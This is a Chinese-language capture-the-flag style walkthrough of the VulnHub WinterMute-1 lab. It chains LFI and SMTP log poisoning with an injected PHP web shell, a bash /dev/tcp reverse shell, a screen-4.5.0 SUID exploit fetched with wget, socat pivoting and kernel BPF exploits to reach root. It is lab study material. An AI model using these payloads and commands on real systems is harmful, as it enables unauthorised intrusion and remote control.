VulnHub靶机渗透 - WinterMute-1
1. 端口扫描与服务探测
使用 Nmap 对目标靶机进行全端口激进扫描:
1 | nmap -p- -sV -Pn -T5 -v -A --script=vuln 192.168.56.111 |
| 参数 | 含义 | 作用与分析 |
|---|---|---|
-p- |
等同于 -p 1-65535 |
扫描全部 65535 个 TCP 端口,避免遗漏非标准端口 |
-sV |
版本探测 | 识别服务名和版本号(如 Apache httpd 2.4.25),作为查找 CVE 的依据 |
-Pn |
跳过主机发现 | 直接假定目标存活,防止目标丢弃 ICMP 导致误判 |
-T5 |
激进时间模板 | 最激进的超时配置,速度极快 |
-v |
详细模式 | 实时输出发现的端口与扫描进度 |
-A |
综合扫描 | 包含操作系统指纹、版本探测、默认 NSE 脚本和路由追踪 |
--script=vuln |
运行 NSE 漏洞脚本 | 运行 vuln 分类的全部脚本,探测常见已知漏洞 |
2. Web 枚举与敏感路径发现
首先访问 80 端口页面:

接着访问 3000 端口服务:

页面提示 admin 登录:

点击跟随指引:

获取到了 80 端口下的路径提示:

访问该路径并提交参数查看响应:


这里存在明显的文件包含(LFI)与目录穿越特征。
3. SMTP 日志投毒与本地文件包含(LFI)
发现 25 端口运行的是 Postfix SMTP 邮件服务,尝试通过包含邮件日志测试:
1 | http://192.168.197.144/turing-bolo/bolo.php?bolo=../../../../var/log/mail |
成功读取到了 /var/log/mail 日志文件内容:

接下来通过 SMTP 日志投毒,将恶意 PHP 代码注入日志中,结合 LFI 实现命令执行。
查看端口连接状态并交互投毒:
1 | nc -nv 192.168.197.144 25 |
投毒交互过程:
1 | HELO x |
SMTP 协议交互解析
| 输入命令 | 含义 | 服务端响应 |
|---|---|---|
HELO x |
握手自我介绍 | 250 接受,可以继续 |
MAIL FROM: "x <?php ... ?>" |
信封发件人 | 250 接受,记下发件人(原样写入日志) |
RCPT TO: root |
信封收件人 | 250 接受,准备投递 |
DATA |
开始编写正文 | 354 开始输入,以单行 . 结束 |
test |
邮件正文 | 无回显 |
. |
正文结束标记 | 250 Ok: queued 入队成功 |
QUIT |
结束会话 | 221 Bye |
Postfix 会将信封发件人原样记录在日志中:
1 | Oct 24 14:35:12 straylight postfix/qmgr[785]: 629AC537F: from=<x <?php echo shell_exec($_GET['cmd']);?>@straylight>, ... |
验证代码是否注入成功并执行命令:
1 | curl -s "http://192.168.197.144/turing-bolo/bolo.php?bolo=../../../../var/log/mail&cmd=id" | grep 'uid=' |

成功执行后反弹 Shell:

4. 第一阶段提权(Straylight 靶机)
获取目标靶机基础信息:
1 | id; hostname |
检查 SUID 提权路径:
1 | find / -perm -4000 -type f 2>/dev/null |
检查计划任务与运行环境:
1 | cat /etc/crontab 2>/dev/null |
发现存在具有 SUID 权限的 /bin/screen-4.5.0,在 Kali 中使用 Searchsploit 检索漏洞:


下载利用脚本 POC:
1 | wget http://192.168.197.142:8888/41154.sh -O /tmp/41154.sh |

生成完整交互式 PTY Shell:
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |

执行提权脚本:

查看第一阶段 Flag:

查看提示文本 note.txt:

5. 内网横向移动与端口转发
上传 fscan 扫描内网网段:
1 | ./fscan -h 192.168.40.0/24 -np -nobr -nopoc -o /tmp/fscan_out.txt |
参数说明:
-np跳过 ping 直接扫;-nobr关闭弱口令爆破;-nopoc关闭漏洞 POC;-o输出结果到文件。


扫描发现内网主机 192.168.40.130 开放了 8080: Apache Tomcat/9.0.0.M26。
使用 socat 进行端口转发:

在本地浏览器访问映射后的地址:
1 | http://192.168.197.144:8080/struts2_2.3.15.1-showcase/showcase.jsp |

确认目标为 Struts2 架构:

构建内网反向连接拓扑:
1 | Neuromancer ──► 192.168.40.131:6666 (Straylight) ──socat──► 192.168.197.142:6666 (Kali) |
在 Straylight 上通过 socat 把反弹端口映射给 Kali:
1 | nohup socat TCP-LISTEN:6666,fork,reuseaddr TCP:192.168.197.142:6666 >/dev/null 2>&1 & |
Kali 监听 6666 端口:

目标机执行反弹 Shell 命令:
1 | bash -i >& /dev/tcp/192.168.40.131/6666 0>&1 |
成功接收 Shell:

6. 内核提权与最终夺旗
查看目标 Linux 内核版本:

检索对应版本的内核提权漏洞:

进行 GCC 编译:

在中间跳板机上开启端口转发通道,便于内网靶机拉取编译文件:
1 | nohup socat TCP-LISTEN:1234,fork,reuseaddr TCP:192.168.197.142:1234 >/dev/null 2>&1 & |

内网机器拉取二进制:
1 | wget http://192.168.40.131:1234/44298 -O /tmp/44298 |

运行遇到权限与环境阻碍:

升级 Shell 并排查:
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
换用 45010 漏洞版本:



内核 4.4 检查属性与补丁修复
Linux 内核 4.4 在命令入口处存在 CHECK_ATTR 宏:
1 |
该宏强制要求 union bpf_attr 结构中不属于当前命令的字节必须全为 0。如果直接写 union bpf_attr attr = { .map_type = ..., },只会初始化前面部分,剩余字节为栈上随机值,内核检查会直接报 EINVAL 导致利用失败。
在 Kali 上编写补丁脚本修复 45010 POC:
1 | cd ~/Desktop |
重新编译后下载到内网机器并执行:
1 | wget http://192.168.40.131:1234/45010_v44b -O /tmp/45010_v44b |

成功获取 Root 权限与最终 Flag:
1 | 5ed185fd75a8d6a7056c96a436c6d8aa |





